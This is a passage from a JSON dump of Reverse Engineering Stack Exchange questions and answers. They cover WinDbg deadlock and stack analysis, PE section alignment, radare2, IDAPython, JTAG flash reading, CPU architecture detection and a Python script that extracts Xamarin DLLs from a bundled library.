      User Mode Time   Thread       Time\n   0:2888      0 days 0:00:15.234\n  11:2210      0 days 0:00:02.796\n  20:15f0      0 days 0:00:01.656\n  17:584       0 days 0:00:00.453\n  21:2860      0 days 0:00:00.140\n  13:8cc       0 days 0:00:00.031\n   7:1a70      0 days 0:00:00.031\n  23:373c      0 days 0:00:00.015\n  14:2fe0      0 days 0:00:00.015\n  22:1bf4      0 days 0:00:00.000\n  19:3a50      0 days 0:00:00.000\n  18:2980      0 days 0:00:00.000\n  16:1e0c      0 days 0:00:00.000\n  15:2768      0 days 0:00:00.000\n  12:3154      0 days 0:00:00.000\n  10:2cfc      0 days 0:00:00.000\n   9:1e40      0 days 0:00:00.000\n   8:1ea8      0 days 0:00:00.000\n   5:2b64      0 days 0:00:00.000\n   4:338c      0 days 0:00:00.000\n   1:3be8      0 days 0:00:00.000\n
    \n\n

    0:001> ~0 kb

    \n\n
     # ChildEBP RetAddr  Args to Child              \n00 0019f640 75f48869 000006c0 00000000 0019f688 ntdll!NtWaitForSingleObject+0xc\n01 0019f6b4 75f487c2 000006c0 000003e8 00000000 KERNELBASE!WaitForSingleObjectEx+0x99\n02 0019f6c8 68bbac92 000006c0 000003e8 0935a040 KERNELBASE!WaitForSingleObject+0x12\n03 0019f6dc 68b7d6e4 88760870 0935a040 015c6e38 d3d9!CBatchFilterI::WaitForBatchWorkerThread+0x23\n04 0019f6ec 68c403d1 04f0de60 68c403b0 c9e02d57 d3d9!CBatchFilterI::FlushBatchWorkerThread+0xc\n05 0019f700 68b78522 0935a040 00000000 00011001 d3d9!CBatchFilterI::LHBatchFlush1+0x21\n06 0019f718 68b99daa 04f0de60 68b54020 04f0dd00 d3d9!Flush+0x36\n07 0019f9bc 68b6a661 04f0de60 04f0b634 04f08ac0 d3d9!DdBltLH+0x45d8a\n08 0019fa94 68be9fcc 00000000 00000000 00000000 d3d9!CSwapChain::PresentMain+0x3a7\n09 0019fabc 68be9e57 00000000 00000000 00000000 d3d9!CBaseDevice::PresentMain+0x68\n0a 0019faf4 10109099 04f08ac0 00000000 00000000 d3d9!CBaseDevice::Present+0x57\n0b 0019fc10 10107a15 04f08ac0 00000000 00000000 DoNPatch!fIDirect3Device9::fPresent+0x2e9\n0c 0019fc58 005495e0 00000001 03440be8 03448a70 DoNPatch!NKD_IDirect3DDevice_Present+0x5\n0d 0019fc7c 00549367 00000000 03440be8 00000000 SD_Asgard!loc_5494D7+0x109\n0e 0019fcc4 0054b7a1 0105a000 03440be8 00b200b0 SD_Asgard!loc_549367\n0f 0019fef4 005bb824 00400000 00000000 01503b2d SD_Asgard!loc_54B784+0x1d\n10 0019ff80 76d28744 00302000 76d28720 34573170 SD_Asgard!loc_5BB812+0x12\n11 0019ff94 76f8582d 00302000 03e96be8 00000000 KERNEL32!BaseThreadInitThunk+0x24\n12 0019ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f\n13 0019ffec 00000000 005cc46f 00302000 00000000 ntdll!_RtlUserThreadStart+0x1b\n
    \n\n

    0:001> ~11 kb

    \n\n
     # ChildEBP RetAddr  Args to Child              \n00 04c2fe58 76f4c07a 0935a064 00000000 00000000 ntdll!NtWaitForAlertByThreadId+0xc\n01 04c2fe78 76f4bfbe 00000000 00000000 ffffffff ntdll!RtlpWaitOnAddressWithTimeout+0x33\n02 04c2febc 76f4beb5 00000004 00000000 00000000 ntdll!RtlpWaitOnAddress+0xa5\n03 04c2fefc 76f6b3f1 0935a040 0935a040 00000004 ntdll!RtlpWaitOnCriticalSection+0xb7\n04 04c2ff1c 76f6b315 0935a040 04c2ff38 68b7d1e8 ntdll!RtlpEnterCriticalSectionContended+0xd1\n05 04c2ff28 68b7d1e8 0935a060 0941a324 04c2ff60 ntdll!RtlEnterCriticalSection+0x45\n06 04c2ff38 68b80753 00000001 0935a040 00000001 d3d9!CBatchFilterI::AcquireSynchronization+0x28\n07 04c2ff60 68c42021 0941a320 00000001 68c41760 d3d9!CBatchFilterI::ProcessBatch+0x14b\n08 04c2ff78 68c4176d 04c2ff94 76d28744 0935a040 d3d9!CBatchFilterI::WorkerThread+0x2d\n09 04c2ff80 76d28744 0935a040 76d28720 308c3170 d3d9!CBatchFilterI::LHBatchWorkerThread+0xd\n0a 04c2ff94 76f8582d 0935a040 07326be8 00000000 KERNEL32!BaseThreadInitThunk+0x24\n0b 04c2ffdc 76f857fd ffffffff 76fa6389 00000000 ntdll!__RtlUserThreadStart+0x2f\n0c 04c2ffec 00000000 68c41760 0935a040 00000000 ntdll!_RtlUserThreadStart+0x1b\n
    \n\n

    Conclusion

    \n\n

    In the outputs above, the thread id owning the locked critical section (34fc) is the thread #3 (makes the http request), which isn't presented in the !runaway list. In the !runaway list, the thread number 0 is the #1 (game loop) and the thread number 11 is the #2 (d3d9 batch worker). If you need any other data I can gather just ask for it. In this analysis I used IDA Pro 6.9 and WinDbg, but I can get other tool if available.

    \n\n

    To end up, sorry for the long text and thanks in advance.

    \n", "Title": "Debugging a deadlock when the mutex owner thread is dead?", "Tags": "|ida|windbg|", "Answer": "

    This is more of a SW dev problem than RE, but you can try using !htrace to find out where the mutex was originally allocated (creation stack trace).

    \n\n

    Alternatively, try to figure why the thread #3 exits without releasing the lock.\nThis may be a bit tricky, but if you can repro the two scenartios (with and without releasing the lock), differential debugging may be useful to figure out where the code paths diverge.

    \n" }, { "Id": "16461", "CreationDate": "2017-10-01T17:53:04.120", "Body": "

    After analyzing some binaries, I noticed that the sections, .text, .data, .bss, etc, are not really adjacent. It seems to be a gap between them, why is that?

    \n", "Title": "Gaps between sections", "Tags": "|binary-analysis|executable|", "Answer": "

    Sections are aligned so the next section doesn't automatically start at the end of the current section. Sections on disk and memory have different alignments. Sections on disk are usually aligned by 512 bytes which is the traditional size of a disk sector (stored in IMAGE_OPTIONAL_HEADER.FileAlignment). In memory, they are usually page aligned (stored in IMAGE_OPTIONAL_HEADER.SectionAlignment). It allows the loader to apply different memory protection permissions on different sections since permissions are applied on page by page basis. Example: .text can have PAGE_EXECUTE_READ while .data might have PAGE_READONLY permission only, if .data isn't aligned, it's content that fits in the last .text's page will have PAGE_EXECUTE_READ permission instead of PAGE_READONLY.

    \n" }, { "Id": "16466", "CreationDate": "2017-10-02T05:34:12.760", "Body": "

    I recently start to use radare2 and I have a question\nHow can I print info about the heap with dmhb dmhf etc. while debugging ?\nI would like to have the heap informations on the right and the disassembly view on the left but I don't know how to do it .

    \n\n

    When I launch these commands it prints below the disassembly view...

    \n", "Title": "Split view radare2 print heap", "Tags": "|radare2|heap|", "Answer": "

    You can use | or = in Visual Mode to split horizontally and vertically respectively.

    \n\n

    Open your file in debug mode and go to Visual Mode by pressing V, then press p until you reach the assembly view:

    \n\n
    $ r2 -d program\n[0xf7799b30]> V\n
    \n\n

    Then press | and you'll be able to configure cmd.cprompt. Write the command that you wish to see in the right pane of the screen.

    \n\n

    Alternatively you can configure it using e cmd.cprompt=<your_command> or e cmd.vprompt=<your_command> from the terminal.

    \n" }, { "Id": "16472", "CreationDate": "2017-10-02T19:15:10.383", "Body": "

    I'm trying to debug the corruption of a linked list structure inside of a Win32 DLL with IDA Pro and Hexrays. The offending assembly traverses a doubly-linked list forwards checking a condition, and breaks if the next node of the list is null. When the application using the library is run fast enough, the address holding the pointer location being iterated becomes corrupted with a value far outside the bounds of addressable memory, crashing the program. I want to see if the previous linked list node contained the corrupted pointer as its next node or the bug is elsewhere, but there are no references to the parent at the time of the crash, since the node is overwritten inside the loop.

    \n\n

    The bug is only triggered when the application is running at full speed, likely because it's a race condition. Because of this, I can't trace or conditionally break on the the execution of the assembly block because it slows the program down so much that the bug doesn't trigger.

    \n\n

    Is there some way of injecting a global variable somewhere in memory holding the address of the previously iterated linked list node, or otherwise patching the code structure so the values the program checked are inspectable somehow?

    \n", "Title": "Tracing the last written value of a memory location without slowdown", "Tags": "|ida|windows|debugging|hexrays|tracing|", "Answer": "

    If you can predict the address being overwritten ahead of time, try setting a hardware breakpoint on it. You can also try a dynamic tracer such as PIN which usually has only minor slowdown.

    \n" }, { "Id": "16474", "CreationDate": "2017-10-03T06:36:25.040", "Body": "

    While reading Practical Reverse Engineering by Bruce Dang, I came across the following.

    \n\n

    \"Image

    \n\n
      \n
    1. Am I correct in my assumption that the procedures return a pointer to the current thread and current process respectively?
      2. \n

    2. In PsCurrentProcess, the offset into the current thread is 0B8h whereas in the comment it is written as 0x70. I do not understand what the author means by this. In an attempt to find out I tried to debug a x64 Windows 10 Kernel.

      \n\n

      \"enter

      \n\n

      \"enter

      3. \n
    \n\n

    I couldn't find any thing at offsets 70h nor B8h. But I did find a _KPROCESS at offset 220h. Is this what I am looking for?

    \n\n

    \"enter

    \n\n
      \n
    1. Will this offset be the same for all Windows 10 x64 systems?
      2. \n
    2. I would like to know about the internals of all these structures. Is there any resource that explains all the important internal data structures in Windows from a reverse engineering stand point.
      3. \n
    \n", "Title": "Getting the current process in Windows", "Tags": "|process|kernel|", "Answer": "

    most of these structures can be queried with windbg

    \n\n

    if you are running in usermode ntdll.pdb has these type information

    \n\n

    if you are running in kernelmode ntos/ntkr/ aka nt*.pdb has these type information

    \n\n

    you can use a tool like livekd from sysinternals along with windbg to do a \nlocal kernel debugging session

    \n\n

    following are output from livekd on a win7 x86 machine as far as possible \nthe commands are kept os / version agnostic

    \n\n

    the current process can be queried as ? @$proc

    \n\n
    kd> ? @$proc\nEvaluate expression: -2050188616 = 85cc9ab8\nkd>\n
    \n\n

    the single question mark ? represents masm expresssion evaluator \nyou can use ?? question marks to turn on c++ expression evaluator

    \n\n
    kd> ?? @$proc->UniqueProcessId\nvoid * 0x00000538\nkd>\n
    \n\n

    the above Current process pid is also represented by @$tpid

    \n\n
    kd> ? @$tpid\nEvaluate expression: 1336 = 00000538\nkd> ?? @$tpid\nunsigned int 0x538\nkd>\n
    \n\n

    the pcr is represented by @$pcr

    \n\n

    you can mix and match the expression evaluator the @@() lets you insert a c++ expression into a masm evaluation

    \n\n
    kd> ? @$pcr\nEvaluate expression: -2097779712 = 82f66c00\nkd> ?  @@(@$pcr->PrcbData.CurrentThread)\nEvaluate expression: -2048806120 = 85e1b318\nkd>\n
    \n\n

    in my system PsGetCurrentProcess is as follows

    \n\n
    kd> uf nt!PsGetCurrentThread\nnt!PsGetCurrentThread:\n82e72b99 64a124010000    mov     eax,dword ptr fs:[00000124h]\n82e72b9f c3              ret\nkd>\n
    \n\n

    you can directly get the raw contents of this segment:offset

    \n\n
    kd> ? poi(fs:00000124)\nEvaluate expression: -2048806120 = 85e1b318\nkd>\n
    \n\n

    the current thread is denoted by @$thread

    \n\n
    kd> ? @$thread\nEvaluate expression: -2048806120 = 85e1b318\nkd>\n
    \n\n

    ApcState is not an array it is a structure

    \n\n
    kd> ?? @$thread->Tcb.ApcState\nstruct _KAPC_STATE\n   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x85e1b358 - 0x85e1b358 ]\n   +0x010 Process          : 0x85cc9ab8 _KPROCESS\n   +0x014 KernelApcInProgress : 0 ''\n   +0x015 KernelApcPending : 0 ''\n   +0x016 UserApcPending   : 0 ''\nkd>\n
    \n\n

    you can get the offset to Process mention in you post like this

    \n\n
    kd> ?? &(@$thread->Tcb.ApcState.Process)\nstruct _KPROCESS ** 0x85e1b368\nkd> ?? *(unsigned long *)&(@$thread->Tcb.ApcState.Process)\nunsigned long 0x85cc9ab8\nkd>\n
    \n\n

    in my system PsGetCurrentProcss is as follows

    \n\n
    kd> uf nt!PsGetCurrentProcess\nnt!PsGetCurrentProcess:\n82ec5fce 64a124010000    mov     eax,dword ptr fs:[00000124h]\n82ec5fd4 8b4050          mov     eax,dword ptr [eax+50h]\n82ec5fd7 c3              ret\nkd>\n
    \n\n

    raw query

    \n\n
    kd> ? poi(30:124)\nEvaluate expression: -2048806120 = 85e1b318\nkd> ? poi(poi(30:124)+50)\nEvaluate expression: -2050188616 = 85cc9ab8\nkd>\n
    \n\n

    expression query

    \n\n
    kd> ? @@(@$prcb->CurrentThread->ApcState.Process)\nEvaluate expression: -2050188616 = 85cc9ab8\nkd>\n
    \n" }, { "Id": "16477", "CreationDate": "2017-10-03T16:37:45.570", "Body": "

    I'm trying to read the flash memory of a microcontroller MPC5606B from Motorola. I saw his pins and saw that it uses jtag to perform debug, so I'm trying to use it JTAG interface to read its flash content.

    \n\n

    I read the MPC's flash content using a tool (UPA) and a PC, however, I want to do it by my own, using my own embedded hardware without the PC's tool. I read about JTAG standard( JTAG_IEEE-Std-1149.1-2001 ), and some videos and explanations on the internet. I read about TAP controller state diagram and read about some instructions too.

    \n\n

    In order to better understand the JTAG reading, I Used the PC's tool to read the MCP's flash and an osciloscope to see how the communication is performed, however, the communication has almost 10s of duration. So, I filled the entire flash with zeros and read the memory, in this way, I was able identify the reading of memory using the osciloscope. However, although I can identify the reading of memory using the osciloscope, I can't determine yet the exact sequence of commands to perform the reading. The time of reading is too big, almost 10s.

    \n\n

    So, before to go more deep, I would like to know if there is some kind of protection to access the flash memory. I tried to understand the beginning of the communication, I can identify the progress in the TAP controller's state machine, but I was not able to understand what this steps means and why it is done. So, I would like to know:

    \n\n

    1) Can I determine if the communication has some kind of protection ? I really need to know it before to go further in the task because I need to know the task's complexity level before to go more deep

    \n\n

    2) Although I read about the JTAG standard and the TAP controller state machine, I was not able to say what sequence of comands I need to read the flahs content.

    \n\n

    Abaixo est\u00e1 a leitura do flash do MPC5606B realizada pela ferramenta com o aux\u00edlio do PC. The image is composed of a sequence of images. The first is the image of the communication in full, the second is the beginning of the communication, there is an arrow indicating where it was withdrawn.

    \n\n

    \"enter

    \n\n

    This was my interpretation until now

    \n\n

    FIGURE 1:

    \n\n

    1.1 - (TMS = 1) Test-Logic-Resset

    \n\n

    1.2 - (CLK wide pulse) I do not know why.

    \n\n

    1.3 - (8 pulses of CLK, TMS = 1)

    \n\n

    Since TMS did not came out to 1 I understand that it did not quit Test-logic-Reset

    \n\n

    1.4 - (TMS = 0, 1 pulse clock) enters Run-Test-Idle

    \n\n
    \n\n

    FIGURE 2:

    \n\n

    2.1 - (TMS = 1, 2 clock pulses) Goes to the \"Select IR-Scan\" state

    \n\n

    2.2 - (TMS = 0, 2 pulses of clock) Go to the state \"Shif-IR\"

    \n\n

    2.3 - (TMS = 0, 4 clock pulses) Remains in \"Shift-IR\"

    \n\n

    TDI: 1000\nTDO: 1000\n2.4 - (TMS = 1, 1 clock pulse) Goes to the \"Exit1-IR\"

    \n\n

    2.5 - (TMS = 1, 1 clock pulse) Goes to the status \"Update-IR\"

    \n\n

    2.6 - (TMS = 0, 1 clock pulse) Goes to the \"Run-Test-Idle\"

    \n\n
    \n\n

    FIGURE 3:

    \n\n

    3.1 - (TMS = 1, 1 clock pulse) goes to the \"Select DR-Scan\" state

    \n\n

    3.2 - (TMS = 0, 2 clock pulses) Go to the status \"Shif-DR\"

    \n\n

    3.3 - (TMS = 0, 31 clock pulses) Go to the \"Shif-DR\" state

    \n\n

    The 32 clock cycles are equivalent to 4 bytes:

    \n\n

    TDI: 0x00 0x00 0x00 0x00\nTDO: 0xB8 0x0C 0x27 0x54 (10111000 00001100 00100111 01010100)

    \n\n

    3.4 - (TMS = 1, 1 clock pulse) Goes to the \"Exit1-DR\"

    \n\n

    3.5 - (TMS = 1, 1 clock pulse) Goes to the status \"Update-DR\"

    \n\n

    3.6 - (TMS = 0, 1 clock pulse) Goes to the \"Run-Test-Idle\"

    \n", "Title": "Flash Reading by JTAG", "Tags": "|jtag|", "Answer": "

    Interpreting JTAG transactions by hand can be pretty tiresome. If you can export your data to a more or less universal data format, like VCD or even a CSV file, you can use Sigrok and Pulseview to decode your data. This will decode the low-level JTAG data; if you know the specifics of the controller like TAP register layout and command set, you can extend Sigrok with a decoder that runs on top of the existing IEEE-1149 decoder.

    \n\n

    \"jtag\"

    \n" }, { "Id": "16483", "CreationDate": "2017-10-04T23:27:50.440", "Body": "

    While using IDA Python for extract ARM instructions, I noticed that some instructions are not extracted completely. For example, conditional instructions such as BCS or BCC are printed as B. For analyzing, it is necessary we have the instructions completely.

    \n\n

    Here's the code I used:

    \n\n
    import idautils\nimport idc\nimport idaapi\nfor seg_ea in Segments():\n for head in Heads(seg_ea, SegEnd(seg_ea)):\n  if isCode(GetFlags(head)):\n   disasm= GetMnem(head)\n
    \n\n

    Is there any way to correct this problem?

    \n", "Title": "Extract conditional instructions using IDA python in ARM binaries", "Tags": "|ida|idapython|arm|python|", "Answer": "

    I was able to reproduce your problem on IDA 6.95 but it seems like this bug was fixed in IDA 7 since it works for me just fine. The solution below will be relevant to IDA 6.95 though it would probably be valid to earlier versions of IDA Pro.

    \n\n

    Let's start by describing the deadlock we're facing with:
    \nThe problematic function, GetMnem, is declared in IDA 6.95\\Python\\idc.py:L2280 and looks like this:\n

    \n\n
    def GetMnem(ea):\n    \"\"\"\n    Get instruction mnemonics\n\n    @param ea: linear address of instruction\n\n    @return: \"\" - no instruction at the specified location\n\n    @note: this function may not return exactly the same mnemonics\n    as you see on the screen.\n    \"\"\"\n    res = ida_ua.ua_mnem(ea)\n\n    if not res:\n        return \"\"\n    else:\n        return res\n
    \n\n

    Pay attention to the following disclaimer in the function:

    \n\n
    \n

    @note: this function may not return exactly the same mnemonics as you see on the screen.

    \n
    \n\n

    Seems like our problems fits the disclaimer -- we don't see the same mnemonics as we see on the screen.

    \n\n

    As you can see, GetMnem is basically a wrapper to another function -- ua_mnem which is declared in IDA 6.95\\Python\\ida_ua.py:L319:
    \n

    \n\n
    def ua_mnem(*args):\n  \"\"\"\n  ua_mnem(ea) -> char const *\n  \"\"\"\n  return _ida_ua.ua_mnem(*args)\n
    \n\n

    Well, seems like ua_mnem is a wrapper to another function which is located in IDA 6.95\\python\\lib\\python2.7\\lib-dynload\\ida_64\\_ida_ua.pyd. A pyd file is actually a DLL file and should not be easy-peasy to reverse. Therefore, we can't see, nor edit, the source code so we can't fix the problem.

    \n\n

    Here comes the workaround: instead of using GetMnem you can simply mimic it by using GetDisasm and split the line to get only the instruction:

    \n\n
    import idautils\nimport idc\nimport idaapi\nfor seg_ea in Segments():\n for head in Heads(seg_ea, SegEnd(seg_ea)):\n  if isCode(GetFlags(head)):\n    mnem = GetMnem(head)\n    if (mnem[0]=='B'):\n        mnem = GetDisasm(head).split()[0]\n    print mnem\n
    \n\n

    In this case we check whether the mnemonics is a branch instruction (begins with \"B\") and if so, we use the mnemonics from GetDisasm and not from GetMnem. Of course you would need to test this solution better and maybe handle some specific cases.

    \n" }, { "Id": "16489", "CreationDate": "2017-10-06T13:35:27.433", "Body": "

    There are different ways to identify the processor type such as using IDA or file command in Linux. But sometimes the processor type is not detected by these tools. Besides I do not have the correct processor type of the binary. Is there any way to detect the correct type of processor?

    \n", "Title": "Identify the porcessor type of a binary", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

    you might try cpu_rec, it claims to be able to identify a wide variety of architectures by analyzing the raw binary data.
    \nAccording to cpu_rec github repository : Known architectures in the default corpus\n68HC08\n68HC11\n8051\nAlpha\nARcompact\nARM64 ARMeb ARMel ARMhf\nAVR\nAxisCris\nBlackfin\nCell-SPU\nCLIPPER\nCompactRISC\nCray\nEpiphany\nFR-V\nFR30\nFT32\nH8-300\nHP-Focus\nHP-PA\ni860\nIA-64\nIQ2000\nM32C\nM32R\nM68k\nM88k\nMCore\nMico32\nMicroBlaze\nMIPS16 MIPSeb MIPSel\nMMIX\nMN10300\nMoxie\nMSP430\nNDS32\nNIOS-II\nOCaml\nPDP-11\nPIC10 PIC16 PIC18 PIC24\nPPCeb PPCel\nRISC-V\nRL78\nROMP\nRX\nS-390\nSPARC\nSTM8\nStormy16\nSuperH\nTILEPro\nTLCS-90\nTMS320C2x TMS320C6x\nV850\nVAX\nVisium\nWE32000\nX86-64\nX86\nXtensa\nZ80\n#6502#cc65

    \n" }, { "Id": "16490", "CreationDate": "2017-10-06T14:17:52.313", "Body": "

    If i have a large set of files and I'd like to run Hex-rays over them to produce output as C - can I do so in python?

    \n\n\n\n

    Is there a python Hex-rays API?

    \n", "Title": "How to decompile with Hex Rays via a Python API?", "Tags": "|ida|idapython|python|hexrays|idapro-sdk|", "Answer": "

    Thanks for all the answers. In the end I used retdec due to some licensing restrictions. I can't share the exact code used, but this might be useful for others looking at this too:

    \n\n

    Docker-IDA - https://github.com/intezer/docker-ida - Can be changed to work on HexRays fairly easily

    \n\n

    Then commands such as the following may be useful:

    \n\n

    ['/ida/idat','-Ohexrays:outfile:ALL','-A',folder + 'input.bin'])

    \n\n

    ['mono','/dnSpy/dnSpy.Console.exe',filename,'-o', outdir]

    \n\n

    ['/retdec/bin/decompile.sh','-l','py',filename]

    \n" }, { "Id": "16494", "CreationDate": "2017-10-06T16:33:47.677", "Body": "

    I am not sure if I am understanding the raw output of dds esp or its 64-bit counterpart dqs rsp properly. When I see a list of entries in the stack, I tend to assume that wherever I see return addresses, those are calls made by code that have not returned yet. IOW, stringing them together should form a nice call stack. (let's not bother with k* group of Windbg commands for now.) Is that not the case always?

    \n\n

    Because there are some third party extensions, that operate on the esp/rsp output and strings together the entries into something that appear to look like a call stack but I can't seem to match that order with what I see in the source (well, whatever source I have.) There are even entries of functions that have returned long ago.

    \n\n

    What am I missing?

    \n\n

    UPDATE:

    \n\n

    OK -- the third party extension I use does say:

    \n\n

    Dumps (dps) from the stack limit the base only showing items that include the ! followed by +0x

    \n\n

    So, the question then becomes what is that entry? I thought it was the return address of some function that is fixing to make a call into another function?

    \n", "Title": "Understanding the output of Windbg's `dds esp`", "Tags": "|debugging|windbg|stack|callstack|", "Answer": "

    dds means dump dwords intrepreting the result as symbols

    \n\n

    suppose 0x401234 contains 0x77123456 and \n0x77123456 is resolved as kernel32!CreateFileA

    \n\n

    dds 0x401234 will yield kernel32!CreateFileA

    \n\n

    if you do dds esp it can return bogus symbols as stack can contain address that may be a constant which might resolve to a symbol

    \n\n

    edit

    \n\n

    dds/dqs/dps are meant to be used to look for addresses that resolve to symbol you can use it against stack register esp/rsp/va to look for symbols \nonly keep in mind it can return bogus symbols

    \n\n

    for example after import table is resolved you can look what imports were resolved using dps /dds

    \n\n
    0:000> dds calc+1000 l6;dps calc+1000 l6\n00461000  760b0468 SHELL32!SHGetSpecialFolderPathW\n00461004  76115708 SHELL32!SHGetFolderPathW\n00461008  7615a129 SHELL32!ShellAboutW\n0046100c  7619dd83 SHELL32!SHCreateDirectory\n00461010  760b1e46 SHELL32!ShellExecuteExW\n00461014  00000000\n00461000  760b0468 SHELL32!SHGetSpecialFolderPathW\n00461004  76115708 SHELL32!SHGetFolderPathW\n00461008  7615a129 SHELL32!ShellAboutW\n0046100c  7619dd83 SHELL32!SHCreateDirectory\n00461010  760b1e46 SHELL32!ShellExecuteExW\n00461014  00000000\n
    \n\n

    if you had used dd here it would be just a bunch of DWORDS

    \n\n
    0:000> dd calc+1000 \n00461000  760b0468 76115708 7615a129 7619dd83\n00461010  760b1e46 00000000 \n
    \n\n

    other dereferncing commands inlude dda / ddu / ddp / dpp

    \n\n
    dda derefences an ascii string \nddu derefernces an unicode string\nddp dereferences  a pointer (only 4 butes or a dword\ndpp dereferences a pointer ( either 4 or 8 bytes based on arch)\n
    \n\n

    suppose you have code like this \nif you compile with using
    \nvc++ cl /Zi /Od /EHsc /analyze /W4 dds.cpp /link /RELEASE\nand execute it

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\nchar *azz = \"forever\";\nchar *bzz = \"learning\";\nchar *czz = \"for\";\nchar *dzz = \"ever\";\nchar *ezz = \"learn\";\nchar *fzz = \"ing\";\nchar *gzz = \"for\";\nchar *hzz = \"eve\";\nchar *f[] = {azz,bzz,czz,dzz,ezz,fzz,gzz,hzz};\nint main () {\n\n    char **moo[] = { &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7] };\n    char *meow[] = {  f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7] };\n    for(int i =0;i <_countof(f);i++)\n    {\n        printf(\"%p %10s\\n\" ,moo[i],meow[i]);\n    }\n    return 0;\n}\n
    \n\n

    you will get a result like this

    \n\n
    012158A0    forever\n012158A4   learning\n012158A8        for\n012158AC       ever\n012158B0      learn\n012158B4        ing\n012158B8        for\n012158BC        eve\n
    \n\n

    if you set a breakpoint on line 18 \nand do dds you can see how windbg resolves the char** to module!symbol notation

    \n\n
    windbg -c \"bp `dds!dds.cpp:18`;g\" dds.exe\n\n\n0:000> bl\n     0 e Disable Clear  013910d0  [c:\\dds.cpp @ 18]     0001 (0001)  0:**** dds!main+0x70\n\n0:000> .lastevent\nLast event: 808.1b8: Hit breakpoint 0      \n0:000> rM0\ndds!main+0x70:\n013910d0 ff743430        push    dword ptr [esp+esi+30h] \nss:0023:002cfa50=013cb1a0\n\n0:000> dds esp l14    \n002cfa20  013d5678 dds!__argc\n002cfa24  013d40f0 dds!_iob+0x90\n002cfa28  00000fa0\n002cfa2c  00000000\n002cfa30  013d48a0 dds!f   <---------\n002cfa34  013d48a4 dds!f+0x4 <------\n002cfa38  013d48a8 dds!f+0x8 <------\n002cfa3c  013d48ac dds!f+0xc <-----\n002cfa40  013d48b0 dds!f+0x10 <-------\n002cfa44  013d48b4 dds!f+0x14 <--------\n002cfa48  013d48b8 dds!f+0x18 <---------\n002cfa4c  013d48bc dds!f+0x1c <---------\n002cfa50  013cb1a0 dds!__xt_z+0x4\n002cfa54  013cb1a8 dds!__xt_z+0xc\n002cfa58  013cb1b4 dds!__xt_z+0x18\n002cfa5c  013cb1b8 dds!__xt_z+0x1c\n002cfa60  013cb1c0 dds!__xt_z+0x24\n002cfa64  013cb1c8 dds!__xt_z+0x2c\n002cfa68  013cb1cc dds!__xt_z+0x30\n002cfa6c  013cb1d0 dds!__xt_z+0x34\n
    \n\n

    if you do dda esp you can see the strings

    \n\n
    0:000> dda esp l14\n002cfa20  013d5678 \".\"\n002cfa24  013d40f0 \"...\"\n002cfa28  00000fa0\n002cfa2c  00000000\n002cfa30  013d48a0 \n002cfa34  013d48a4 \n002cfa38  013d48a8 \n002cfa3c  013d48ac \n002cfa40  013d48b0 \n002cfa44  013d48b4 \n002cfa48  013d48b8 \n002cfa4c  013d48bc \n002cfa50  013cb1a0 \"forever\"  <---------------\n002cfa54  013cb1a8 \"learning\" <-----------\n002cfa58  013cb1b4 \"for\" <--------------\n002cfa5c  013cb1b8 \"ever\"\n002cfa60  013cb1c0 \"learn\"\n002cfa64  013cb1c8 \"ing\"\n002cfa68  013cb1cc \"for\"\n002cfa6c  013cb1d0 \"eve\"\n
    \n\n

    if you happen to compile check dpp ddp etc on both 32 bit and 64 bit binary\nfor the same stack

    \n" }, { "Id": "16498", "CreationDate": "2017-10-06T20:56:49.800", "Body": "

    Say I have the byte array c1 83 2a 9e f9 ff ff ff (just an example) and I have no idea what the format is. It could be characters in ASCII, UTF-8, could be WORD/DWORD integers in Little or Big Endian, could be 2 floats or 1 double or just anything else. I feel like that would be a situation that occurred extremely often to every reverse engineer.

    \n\n

    So my question is: Is there a commonly used approach for that kind of problem? Most likely a command line tool that takes the array and displays it in all the different possible representations? Or do people just rely on the given representations of the programs they currently use (ollydbg, cheat engine, hex editor or what ever they happen to use)?

    \n", "Title": "How do reverse engineers commonly detect the format of binary data?", "Tags": "|tools|binary-format|", "Answer": "

    The problem being addressed here is commonly called the semantic gap.

    \n\n

    If you stumble across any binary snippet like the one you posted, it's nearly impossible to deduce the way the value is meant to be interpreted, unless you find code interpreting this value in any way (e.g. a file loader using this value as an offset, ...).

    \n\n

    The main problem is that you can come up with countless ways of interpretation for this value. Maybe these are just flags. Maybe it's meant to be disassembled for PowerPC. Maybe it's the score variable in a Pacman game. You can try to deduce the meaning by interpreting it in numerous ways, but often that won't cut it.

    \n\n

    \"enter

    \n" }, { "Id": "16508", "CreationDate": "2017-10-08T01:35:27.337", "Body": "

    I have an apk that was written in xamarin. The meta data suggests there are lots of dlls files this application uses. I found a file called libmonodroid_bundle_app.so which when disassembled in IDA appears to be a packer/unpacker with functions like inflate, my_inflate, install_dll_config_files etc.

    \n\n

    I want to unpack whatever dll files are contained in this, can anyone give any suggestions how I can do this? There is an x86 compiled .so file, so perhaps I can execute it in windows somehow.

    \n\n

    edit: It appears it is packed with zlib. There are nice named headers in the file so I will try exporting the raw data then using a zlib library to decompress.

    \n", "Title": "Unpacking xamarin mono dll from libmonodroid_bundle.app.so", "Tags": "|android|arm|dll|packers|", "Answer": "

    This works very well cross-platform. Make sure to install these python packages:

    \n\n
    sudo pip install pyelftools\nsudo pip install yara-python\n
    \n\n

    this will export all dlls from libmonodroid_bundle_app.so:

    \n\n
    from elftools.elf.elffile import ELFFile\nfrom zipfile import ZipFile\nfrom cStringIO import StringIO\nimport gzip, string\n\ndata = open('libmonodroid_bundle_app.so').read()\nf = StringIO(data)\nelffile = ELFFile(f)\nsection = elffile.get_section_by_name('.dynsym')\n\nfor symbol in section.iter_symbols():\n  if symbol['st_shndx'] != 'SHN_UNDEF' and symbol.name.startswith('assembly_data_'):\n    print symbol.name\n    dll_data = data[symbol['st_value']:symbol['st_value']+symbol['st_size']]\n    dll_data = gzip.GzipFile(fileobj=StringIO(dll_data)).read()\n    outfile = open(symbol.name[14:].replace('_dll', '.dll'), 'w')\n    outfile.write(dll_data)\n    outfile.close()\n
    \n\n

    Adapted from https://github.com/maldroid/maldrolyzer/blob/master/plugins/z3core.py

    \n" }, { "Id": "16509", "CreationDate": "2017-10-08T11:11:38.660", "Body": "

    I'm a newbie who just started own way through reverse engineering so I apologize if my question is not appropriate.\nCurrently I'm going through different Crackme puzzles and now I'm stuck. I've spend a couple of days trying to solve it but I can't.

    \n\n

